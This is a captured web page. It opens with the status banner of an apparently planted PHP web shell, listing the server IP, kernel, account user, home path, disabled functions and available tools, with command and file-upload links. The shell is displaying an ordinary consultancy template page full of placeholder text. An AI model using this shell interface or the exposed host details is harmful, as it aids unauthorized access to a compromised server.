|
Server IP : 103.53.40.154 / Your IP : 3.135.193.193 Web Server : Apache System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : ppcad7no ( 715) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home2/ppcad7no/samingpvtltd.com/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>CONSULTANT</title>
<meta content="width=device-width, initial-scale=1.0" name="viewport">
<meta content="Free HTML Templates" name="keywords">
<meta content="Free HTML Templates" name="description">
<!-- Favicon -->
<link href="img/favicon.ico" rel="icon">
<!-- Google Web Fonts -->
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Barlow:wght@500;600;700&family=Open+Sans:wght@400;600&display=swap" rel="stylesheet">
<!-- Icon Font Stylesheet -->
<link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.10.0/css/all.min.css" rel="stylesheet">
<link href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.4.1/font/bootstrap-icons.css" rel="stylesheet">
<!-- Libraries Stylesheet -->
<link href="lib/owlcarousel/assets/owl.carousel.min.css" rel="stylesheet">
<!-- Customized Bootstrap Stylesheet -->
<link href="css/bootstrap.min.css" rel="stylesheet">
<!-- Template Stylesheet -->
<link href="css/style.css" rel="stylesheet">
</head>
<div>
<!-- Topbar Start -->
<div class="container-fluid bg-secondary ps-5 pe-0 d-none d-lg-block">
<div class="row gx-0">
<div class="col-md-6 text-center text-lg-start mb-2 mb-lg-0">
<div class="d-inline-flex align-items-center">
<a class="text-body py-2 pe-3 border-end" href=""><small>FAQs</small></a>
<!-- <a class="text-body py-2 px-3 border-end" href=""><small>Support</small></a> -->
<a class="text-body py-2 px-3 border-end" href=""><small>Privacy</small></a>
<a class="text-body py-2 px-3 border-end" href=""><small>Policy</small></a>
<!-- <a class="text-body py-2 ps-3" href=""><small>Career</small></a> -->
</div>
</div>
<div class="col-md-6 text-center text-lg-end">
<div class="position-relative d-inline-flex align-items-center bg-primary text-white top-shape px-5">
<div class="me-3 pe-3 border-end py-2">
<p class="m-0"><i class="fa fa-envelope-open me-2"></i>info@example.com</p>
</div>
<div class="py-2">
<p class="m-0"><i class="fa fa-phone-alt me-2"></i>+012 345 6789</p>
</div>
</div>
</div>
</div>
</div>
<!-- Topbar End -->
<!-- Navbar Start -->
<nav class="navbar navbar-expand-lg bg-white navbar-light shadow-sm px-5 py-3 py-lg-0">
<a href="index.html" class="navbar-brand p-0">
<h1 class="m-0 text-uppercase text-primary"><i class="far fa-smile text-primary me-2"></i>consult</h1>
</a>
<button class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#navbarCollapse">
<span class="navbar-toggler-icon"></span>
</button>
<div class="collapse navbar-collapse" id="navbarCollapse">
<div class="navbar-nav ms-auto py-0 me-n3">
<a href="index.html" class="nav-item nav-link active">Home</a>
<a href="about.html" class="nav-item nav-link">About</a>
<a href="service.html" class="nav-item nav-link">Service</a>
<div class="nav-item dropdown">
<a href="#" class="nav-link dropdown-toggle" data-bs-toggle="dropdown">Pages</a>
<div class="dropdown-menu m-0">
<a href="blog.html" class="dropdown-item">Blog Grid</a>
<a href="detail.html" class="dropdown-item">Blog Detail</a>
<a href="feature.html" class="dropdown-item">Features</a>
<a href="quote.html" class="dropdown-item">Quote Form</a>
<a href="team.html" class="dropdown-item">The Team</a>
<a href="testimonial.html" class="dropdown-item">Testimonial</a>
</div>
</div>
<a href="contact.html" class="nav-item nav-link">Contact</a>
</div>
</div>
</nav>
<!-- Navbar End -->
<!-- Carousel Start -->
<div class="container-fluid p-0">
<div id="header-carousel" class="carousel slide carousel-fade" data-bs-ride="carousel">
<div class="carousel-inner">
<div class="carousel-item active">
<img class="w-100" src="img/carousel-1.jpg" alt="Image">
<div class="carousel-caption d-flex flex-column align-items-center justify-content-center">
<div class="p-3" style="max-width: 900px;">
<h5 class="text-white text-uppercase">Business Consultancy</h5>
<h1 class="display-1 text-white mb-md-4">We Provide Solution On Your Business</h1>
<a href="" class="btn btn-primary py-md-3 px-md-5 me-3 rounded-pill">Get Quote</a>
<a href="" class="btn btn-secondary py-md-3 px-md-5 rounded-pill">Contact Us</a>
</div>
</div>
</div>
<div class="carousel-item">
<img class="w-100" src="img/carousel-2.jpg" alt="Image">
<div class="carousel-caption d-flex flex-column align-items-center justify-content-center">
<div class="p-3" style="max-width: 900px;">
<h5 class="text-white text-uppercase">Business Consultancy</h5>
<h1 class="display-1 text-white mb-md-4">Take Our Help To Reach The Top Level</h1>
<a href="" class="btn btn-primary py-md-3 px-md-5 me-3 rounded-pill">Get Quote</a>
<a href="" class="btn btn-secondary py-md-3 px-md-5 rounded-pill">Contact Us</a>
</div>
</div>
</div>
</div>
<button class="carousel-control-prev" type="button" data-bs-target="#header-carousel"
data-bs-slide="prev">
<span class="carousel-control-prev-icon" aria-hidden="true"></span>
<span class="visually-hidden">Previous</span>
</button>
<button class="carousel-control-next" type="button" data-bs-target="#header-carousel"
data-bs-slide="next">
<span class="carousel-control-next-icon" aria-hidden="true"></span>
<span class="visually-hidden">Next</span>
</button>
</div>
</div>
<!-- Carousel End -->
<!-- About Start -->
<div class="container-fluid bg-secondary p-0">
<div class="row g-0">
<div class="col-lg-6 py-6 px-5">
<h1 class="display-5 mb-4">Welcome To <span class="text-primary">CONSULT</span></h1>
<h4 class="text-primary mb-4">Thank you for your confidence in us! We are committed to providing the best quality consultation services and strive to exceed your expectations.</h4>
<p class="mb-4">We appreciate your trust and are dedicated to providing excellent service. We understand how important it is to meet your expectations and we are committed to doing our best.</p>
<p class="mb-4">Thank you for your trust. We take pride in providing excellent service and strive to meet your expectations. We are dedicated to giving you the best experience possible.</p>
<p class="mb-4">We value our relationship with you and are committed to delivering the highest quality of service. We look forward to continuing to serve you.</p>
<p class="mb-4">It is our pleasure to have you as a valued customer. We appreciate your trust and will continue to do our best to provide you with the highest quality of service. Thank you for your continued support.</p>
<a href="" class="btn btn-primary py-md-3 px-md-5 rounded-pill">Get A Quote</a>
</div>
<div class="col-lg-6">
<div class="h-100 d-flex flex-column justify-content-center bg-primary p-5">
<div class="d-flex text-white mb-5">
<div class="d-flex flex-shrink-0 align-items-center justify-content-center bg-white text-primary rounded-circle mx-auto mb-4" style="width: 60px; height: 60px;">
<i class="fa fa-user-tie fs-4"></i>
</div>
<div class="ps-4">
<h3>Business Planning</h3>
<p class="mb-0">Tempor erat elitr rebum at clita. Diam dolor ipsum amet eos erat ipsum lorem et sit sed stet lorem sit clita duo</p>
</div>
</div>
<div class="d-flex text-white mb-5">
<div class="d-flex flex-shrink-0 align-items-center justify-content-center bg-white text-primary rounded-circle mx-auto mb-4" style="width: 60px; height: 60px;">
<i class="fa fa-chart-line fs-4"></i>
</div>
<div class="ps-4">
<h3>Start Up Consultant</h3>
<p class="mb-0">Tempor erat elitr rebum at clita. Diam dolor ipsum amet eos erat ipsum lorem et sit sed stet lorem sit clita duo</p>
</div>
</div>
<div class="d-flex text-white">
<div class="d-flex flex-shrink-0 align-items-center justify-content-center bg-white text-primary rounded-circle mx-auto mb-4" style="width: 60px; height: 60px;">
<i class="fa fa-balance-scale fs-4"></i>
</div>
<div class="ps-4">
<h3>Carrer Consultant</h3>
<p class="mb-0">Tempor erat elitr rebum at clita. Diam dolor ipsum amet eos erat ipsum lorem et sit sed stet lorem sit clita duo</p>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- About End -->
<!-- Services Start -->
<div class="container-fluid pt-6 px-5">
<div class="text-center mx-auto mb-5" style="max-width: 600px;">
<h1 class="display-5 mb-0">What We Offer</h1>
<hr class="w-25 mx-auto bg-primary">
</div>
<div class="row g-5">
<div class="col-lg-4 col-md-6">
<div class="service-item bg-secondary text-center px-5">
<div class="d-flex align-items-center justify-content-center bg-primary text-white rounded-circle mx-auto mb-4" style="width: 90px; height: 90px;">
<i class="fa fa-user-tie fa-2x"></i>
</div>
<h3 class="mb-3">Business Planning</h3>
<p class="mb-0">Business planning is an essential part of any successful business. It is a process that helps you to define your goals and strategies for achieving them. It also allows you to anticipate and plan for potential risks and opportunities.</p>
</div>
</div>
<div class="col-lg-4 col-md-6">
<div class="service-item bg-secondary text-center px-5">
<div class="d-flex align-items-center justify-content-center bg-primary text-white rounded-circle mx-auto mb-4" style="width: 90px; height: 90px;">
<i class="fa fa-chart-pie fa-2x"></i>
</div>
<h3 class="mb-3">Carrier Planning</h3>
<p class="mb-0">Carrier planning is an important step in achieving your career goals. It involves taking the time to assess your skills and interests, researching different career paths, and making informed decisions about what you want to do next. </p>
</div>
</div>
<div class="col-lg-4 col-md-6">
<div class="service-item bg-secondary text-center px-5">
<div class="d-flex align-items-center justify-content-center bg-primary text-white rounded-circle mx-auto mb-4" style="width: 90px; height: 90px;">
<i class="fa fa-chart-line fa-2x"></i>
</div>
<h3 class="mb-3">Start Up Planning</h3>
<p class="mb-0">Starting a business can be an exciting and challenging endeavor. It requires careful planning and strategic thinking to ensure success. Start Up Planning is the process of making decisions about the structure, goals, resources, and strategies for a new business.</p>
</div>
</div>
<div class="col-lg-4 col-md-6">
<div class="service-item bg-secondary text-center px-5">
<div class="d-flex align-items-center justify-content-center bg-primary text-white rounded-circle mx-auto mb-4" style="width: 90px; height: 90px;">
<i class="fa fa-chart-area fa-2x"></i>
</div>
<h3 class="mb-3">Financial Analaysis</h3>
<p class="mb-0">Financial analysis is the process of evaluating a company's financial health and performance. It involves examining financial statements, such as balance sheets, income statements, and cash flow statements, to gain insight into a company's operations and assess its risk profile.</p>
</div>
</div>
<div class="col-lg-4 col-md-6">
<div class="service-item bg-secondary text-center px-5">
<div class="d-flex align-items-center justify-content-center bg-primary text-white rounded-circle mx-auto mb-4" style="width: 90px; height: 90px;">
<i class="fa fa-balance-scale fa-2x"></i>
</div>
<h3 class="mb-3">legal Advisory</h3>
<p class="mb-0">Legal advisory is a critical part of any business. It involves providing advice on legal matters and helping organizations to make informed decisions.</p>
</div>
</div>
<div class="col-lg-4 col-md-6">
<div class="service-item bg-secondary text-center px-5">
<div class="d-flex align-items-center justify-content-center bg-primary text-white rounded-circle mx-auto mb-4" style="width: 90px; height: 90px;">
<i class="fa fa-mobile fa-2x"></i>
</div>
<h3 class="mb-3">Social media Advisory</h3>
<p class="mb-0">Social media advisory is an important part of any business’s digital marketing strategy. It helps businesses to understand their customers better, build relationships with them, and increase their online presence.</p>
</div>
</div>
</div>
</div>
<!-- Services End -->
<!-- Features Start -->
<div class="container-fluid py-6 px-5">
<div class="text-center mx-auto mb-5" style="max-width: 600px;">
<h1 class="display-5 mb-0">Why Choose Us!!!</h1>
<hr class="w-25 mx-auto bg-primary">
</div>
<div class="row g-5">
<div class="col-lg-4">
<div class="row g-5">
<div class="col-12">
<div class="bg-primary rounded-circle d-flex align-items-center justify-content-center mb-3" style="width: 60px; height: 60px;">
<i class="fa fa-cubes fs-4 text-white"></i>
</div>
<h3>Best In Industry</h3>
<p class="mb-0">Magna sea eos sit dolor, ipsum amet ipsum lorem diam dolor eos diam et diam dolor ea</p>
</div>
<div class="col-12">
<div class="bg-primary rounded-circle d-flex align-items-center justify-content-center mb-3" style="width: 60px; height: 60px;">
<i class="fa fa-percent fs-4 text-white"></i>
</div>
<h3>99% Success Rate</h3>
<p class="mb-0">Magna sea eos sit dolor, ipsum amet ipsum lorem diam dolor eos diam et diam dolor ea</p>
</div>
<div class="col-12">
<div class="bg-primary rounded-circle d-flex align-items-center justify-content-center mb-3" style="width: 60px; height: 60px;">
<i class="fa fa-award fs-4 text-white"></i>
</div>
<h3>Value For time</h3>
<p class="mb-0">Magna sea eos sit dolor, ipsum amet ipsum lorem diam dolor eos diam et diam dolor ea</p>
</div>
</div>
</div>
<div class="col-lg-4">
<div class="d-block bg-primary h-100 text-center">
<img class="img-fluid" src="img/feature.jpg" alt="">
<div class="p-4">
<p class="text-white mb-4">Clita nonumy sanctus nonumy et clita tempor, et sea amet ut et sadipscing rebum amet takimata amet, sed accusam eos eos dolores dolore et. Et ea ea dolor rebum invidunt clita eos. Sea accusam stet stet ipsum, sit ipsum et ipsum kasd</p>
<a href="" class="btn btn-light py-md-3 px-md-5 rounded-pill mb-2">Learn More</a>
</div>
</div>
</div>
<div class="col-lg-4">
<div class="row g-5">
<div class="col-12">
<div class="bg-primary rounded-circle d-flex align-items-center justify-content-center mb-3" style="width: 60px; height: 60px;">
<i class="far fa-smile-beam fs-4 text-white"></i>
</div>
<h3>100% Happy Client</h3>
<p class="mb-0">Magna sea eos sit dolor, ipsum amet ipsum lorem diam dolor eos diam et diam dolor ea</p>
</div>
<div class="col-12">
<div class="bg-primary rounded-circle d-flex align-items-center justify-content-center mb-3" style="width: 60px; height: 60px;">
<i class="fa fa-user-tie fs-4 text-white"></i>
</div>
<h3>Professional Advisors</h3>
<p class="mb-0">Magna sea eos sit dolor, ipsum amet ipsum lorem diam dolor eos diam et diam dolor ea</p>
</div>
<div class="col-12">
<div class="bg-primary rounded-circle d-flex align-items-center justify-content-center mb-3" style="width: 60px; height: 60px;">
<i class="fa fa-headset fs-4 text-white"></i>
</div>
<h3>24/7 Customer Support</h3>
<p class="mb-0">Magna sea eos sit dolor, ipsum amet ipsum lorem diam dolor eos diam et diam dolor ea</p>
</div>
</div>
</div>
</div>
</div>
<!-- Features Start -->
<!-- Quote Start -->
<div class="container-fluid bg-secondary px-0">
<div class="row g-0">
<div class="col-lg-6 py-6 px-5">
<h1 class="display-5 mb-4">Contact for Consultation </h1>
<form>
<div class="row gx-3">
<div class="col-6">
<div class="form-floating">
<input type="text" class="form-control " id="form-floating-1" placeholder="John Doe">
<label for="form-floating-1">Full Name</label>
</div>
</div>
<div class="col-6">
<div class="form-floating">
<input type="phone" class="form-control " id="form-floating-1" placeholder="Phone Number">
<label for="form-floating-1">Phone Number</label>
</div>
</div>
<div class="col-6">
<div class="form-floating">
<input type="phone" class="form-control mt-2" id="form-floating-1" placeholder="Alt Number">
<label for="form-floating-1">Alt Number</label>
</div>
</div>
<div class="col-6">
<div class="form-floating mb-3">
<input type="email" class="form-control mt-2" id="form-floating-2" placeholder="name@example.com">
<label for="form-floating-2">Email address</label>
</div>
</div>
<div class="col-6">
<div class="form-floating">
<select class="form-select" id="floatingSelect" aria-label="Financial Consultancy">
<option selected>Select Services</option>
<option value="1">Business Planning</option>
<option value="2">Carrer Planning</option>
<option value="3">Start Up Planning</option>
<option value="4">Legal Advisor</option>
<option value="5">Financial Advisor </option>
</select>
<label for="floatingSelect">Select A Service</label>
</div>
</div>
<div class="col-6">
<button class="btn btn-primary w-100 h-100" type="submit">Send</button>
</div>
</div>
</form>
</div>
<div class="col-lg-6" style="min-height: 400px;">
<div class="position-relative h-100">
<img class="position-absolute w-100 h-100" src="img/quote.jpg" style="object-fit: cover;">
</div>
</div>
</div>
</div>
<!-- Quote End -->
<!-- Team Start -->
<!-- <div class="container-fluid py-6 px-5">
<div class="text-center mx-auto mb-5" style="max-width: 600px;">
<h1 class="display-5 mb-0">Our Team Members</h1>
<hr class="w-25 mx-auto bg-primary">
</div>
<div class="row g-5">
<div class="col-lg-4">
<div class="team-item position-relative overflow-hidden">
<img class="img-fluid w-100" src="img/team-1.jpg" alt="">
<div class="team-text w-100 position-absolute top-50 text-center bg-primary p-4">
<h3 class="text-white">Full Name</h3>
<p class="text-white text-uppercase mb-0">Designation</p>
</div>
</div>
</div>
<div class="col-lg-4">
<div class="team-item position-relative overflow-hidden">
<img class="img-fluid w-100" src="img/team-2.jpg" alt="">
<div class="team-text w-100 position-absolute top-50 text-center bg-primary p-4">
<h3 class="text-white">Full Name</h3>
<p class="text-white text-uppercase mb-0">Designation</p>
</div>
</div>
</div>
<div class="col-lg-4">
<div class="team-item position-relative overflow-hidden">
<img class="img-fluid w-100" src="img/team-3.jpg" alt="">
<div class="team-text w-100 position-absolute top-50 text-center bg-primary p-4">
<h3 class="text-white">Full Name</h3>
<p class="text-white text-uppercase mb-0">Designation</p>
</div>
</div>
</div>
</div>
</div> -->
<!-- Team End -->
<!-- Testimonial Start -->
<div class="container bg-secondary p-0">
<div class="row g-0">
<div class="col-lg-6" style="min-height: 500px;">
<div class="position-relative h-100">
<img class="position-absolute w-100 h-100" src="img/testimonial.jpg" style="object-fit: cover;">
</div>
</div>
<div class="col-lg-6 py-6 px-5">
<h1 class="display-5 mb-4">What Say Our Client!!!</h1>
<div class="owl-carousel testimonial-carousel">
<div class="testimonial-item">
<p class="fs-4 fw-normal mb-4"><i class="fa fa-quote-left text-primary me-3"></i>Dolores sed duo clita tempor justo dolor et stet lorem kasd labore dolore lorem ipsum. At lorem lorem magna ut et, nonumy et labore et tempor diam tempor erat dolor rebum sit ipsum.</p>
<div class="d-flex align-items-center">
<img class="img-fluid rounded-circle" src="img/testimonial-1.jpg" alt="">
<div class="ps-4">
<h3>Client Name</h3>
<span class="text-uppercase">Profession</span>
</div>
</div>
</div>
<div class="testimonial-item">
<p class="fs-4 fw-normal mb-4"><i class="fa fa-quote-left text-primary me-3"></i>Dolores sed duo clita tempor justo dolor et stet lorem kasd labore dolore lorem ipsum. At lorem lorem magna ut et, nonumy et labore et tempor diam tempor erat dolor rebum sit ipsum.</p>
<div class="d-flex align-items-center">
<img class="img-fluid rounded-circle" src="img/testimonial-2.jpg" alt="">
<div class="ps-4">
<h3>Client Name</h3>
<span class="text-uppercase">Profession</span>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- Testimonial End -->
<!-- Blog Start -->
<div class="container-fluid py-6 px-5">
<div class="text-center mx-auto mb-5" style="max-width: 600px;">
<h1 class="display-5 mb-0">Latest Blog Post</h1>
<hr class="w-25 mx-auto bg-primary">
</div>
<div class="row g-5">
<div class="col-lg-4">
<div class="blog-item">
<div class="position-relative overflow-hidden">
<img class="img-fluid" src="img/blog-1.jpg" alt="">
</div>
<div class="bg-secondary d-flex">
<div class="flex-shrink-0 d-flex flex-column justify-content-center text-center bg-primary text-white px-4">
<span>01</span>
<h5 class="text-uppercase m-0">Jan</h5>
<span>2045</span>
</div>
<div class="d-flex flex-column justify-content-center py-3 px-4">
<div class="d-flex mb-2">
<small class="text-uppercase me-3"><i class="bi bi-person me-2"></i>Admin</small>
<small class="text-uppercase me-3"><i class="bi bi-bookmarks me-2"></i>Web Design</small>
</div>
<a class="h4" href="">Magna sea dolor ipsum amet lorem eos</a>
</div>
</div>
</div>
</div>
<div class="col-lg-4">
<div class="blog-item">
<div class="position-relative overflow-hidden">
<img class="img-fluid" src="img/blog-2.jpg" alt="">
</div>
<div class="bg-secondary d-flex">
<div class="flex-shrink-0 d-flex flex-column justify-content-center text-center bg-primary text-white px-4">
<span>01</span>
<h5 class="text-uppercase m-0">Jan</h5>
<span>2045</span>
</div>
<div class="d-flex flex-column justify-content-center py-3 px-4">
<div class="d-flex mb-2">
<small class="text-uppercase me-3"><i class="bi bi-person me-2"></i>Admin</small>
<small class="text-uppercase me-3"><i class="bi bi-bookmarks me-2"></i>Web Design</small>
</div>
<a class="h4" href="">Magna sea dolor ipsum amet lorem eos</a>
</div>
</div>
</div>
</div>
<div class="col-lg-4">
<div class="blog-item">
<div class="position-relative overflow-hidden">
<img class="img-fluid" src="img/blog-3.jpg" alt="">
</div>
<div class="bg-secondary d-flex">
<div class="flex-shrink-0 d-flex flex-column justify-content-center text-center bg-primary text-white px-4">
<span>01</span>
<h5 class="text-uppercase m-0">Jan</h5>
<span>2045</span>
</div>
<div class="d-flex flex-column justify-content-center py-3 px-4">
<div class="d-flex mb-2">
<small class="text-uppercase me-3"><i class="bi bi-person me-2"></i>Admin</small>
<small class="text-uppercase me-3"><i class="bi bi-bookmarks me-2"></i>Web Design</small>
</div>
<a class="h4" href="">Magna sea dolor ipsum amet lorem eos</a>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- Blog End -->
<!-- Footer Start -->
<div class="container-fluid bg-primary text-secondary p-5">
<div class="row g-5">
<div class="col-12 text-center">
<h1 class="display-5 mb-4">Stay Update!!!</h1>
<form class="mx-auto" style="max-width: 600px;">
<div class="input-group">
<input type="text" class="form-control border-white p-3" placeholder="Your Email">
<button class="btn btn-dark px-4">Sign Up</button>
</div>
</form>
</div>
</div>
</div>
<div class="container-fluid bg-dark text-secondary p-5">
<div class="row g-5">
<div class="col-lg-3 col-md-6">
<h3 class="text-white mb-4">Quick Links</h3>
<div class="d-flex flex-column justify-content-start">
<a class="text-secondary mb-2" href="#"><i class="bi bi-arrow-right text-primary me-2"></i>Home</a>
<a class="text-secondary mb-2" href="#"><i class="bi bi-arrow-right text-primary me-2"></i>About Us</a>
<a class="text-secondary mb-2" href="#"><i class="bi bi-arrow-right text-primary me-2"></i>Our Services</a>
<a class="text-secondary mb-2" href="#"><i class="bi bi-arrow-right text-primary me-2"></i>Latest Blog Post</a>
<a class="text-secondary" href="#"><i class="bi bi-arrow-right text-primary me-2"></i>Contact Us</a>
</div>
</div>
<div class="col-lg-3 col-md-6">
<h3 class="text-white mb-4">Popular Links</h3>
<div class="d-flex flex-column justify-content-start">
<a class="text-secondary mb-2" href="#"><i class="bi bi-arrow-right text-primary me-2"></i>Home</a>
<a class="text-secondary mb-2" href="#"><i class="bi bi-arrow-right text-primary me-2"></i>About Us</a>
<a class="text-secondary mb-2" href="#"><i class="bi bi-arrow-right text-primary me-2"></i>Our Services</a>
<a class="text-secondary mb-2" href="#"><i class="bi bi-arrow-right text-primary me-2"></i>Latest Blog Post</a>
<a class="text-secondary" href="#"><i class="bi bi-arrow-right text-primary me-2"></i>Contact Us</a>
</div>
</div>
<div class="col-lg-3 col-md-6">
<h3 class="text-white mb-4">Get In Touch</h3>
<p class="mb-2"><i class="bi bi-geo-alt text-primary me-2"></i>123 Street, New York, USA</p>
<p class="mb-2"><i class="bi bi-envelope-open text-primary me-2"></i>info@example.com</p>
<p class="mb-0"><i class="bi bi-telephone text-primary me-2"></i>+012 345 67890</p>
</div>
<div class="col-lg-3 col-md-6">
<h3 class="text-white mb-4">Follow Us</h3>
<div class="d-flex">
<a class="btn btn-lg btn-primary btn-lg-square rounded-circle me-2" href="#"><i class="fab fa-twitter fw-normal"></i></a>
<a class="btn btn-lg btn-primary btn-lg-square rounded-circle me-2" href="#"><i class="fab fa-facebook-f fw-normal"></i></a>
<a class="btn btn-lg btn-primary btn-lg-square rounded-circle me-2" href="#"><i class="fab fa-linkedin-in fw-normal"></i></a>
<a class="btn btn-lg btn-primary btn-lg-square rounded-circle" href="#"><i class="fab fa-instagram fw-normal"></i></a>
</div>
</div>
</div>
</div>
<div class="container-fluid bg-dark text-secondary text-center border-top py-4 px-5" style="border-color: rgba(256, 256, 256, .1) !important;">
<p class="m-0">© <a class="text-secondary border-bottom" href="#">Your Site Name</a>. All Rights Reserved. Designed by <a class="text-secondary border-bottom" href="https://htmlcodex.com">HTML Codex</a></p>
</div>
<!-- Footer End -->
<!-- Back to Top -->
<a href="#" class="btn btn-lg btn-primary btn-lg-square rounded-circle back-to-top"><i class="bi bi-arrow-up"></i></a>
<!-- JavaScript Libraries -->
<script src="https://code.jquery.com/jquery-3.4.1.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.0.0/dist/js/bootstrap.bundle.min.js"></script>
<script src="lib/easing/easing.min.js"></script>
<script src="lib/waypoints/waypoints.min.js"></script>
<script src="lib/owlcarousel/owl.carousel.min.js"></script>
<!-- Template Javascript -->
<script src="js/main.js"></script>
</body>
</html>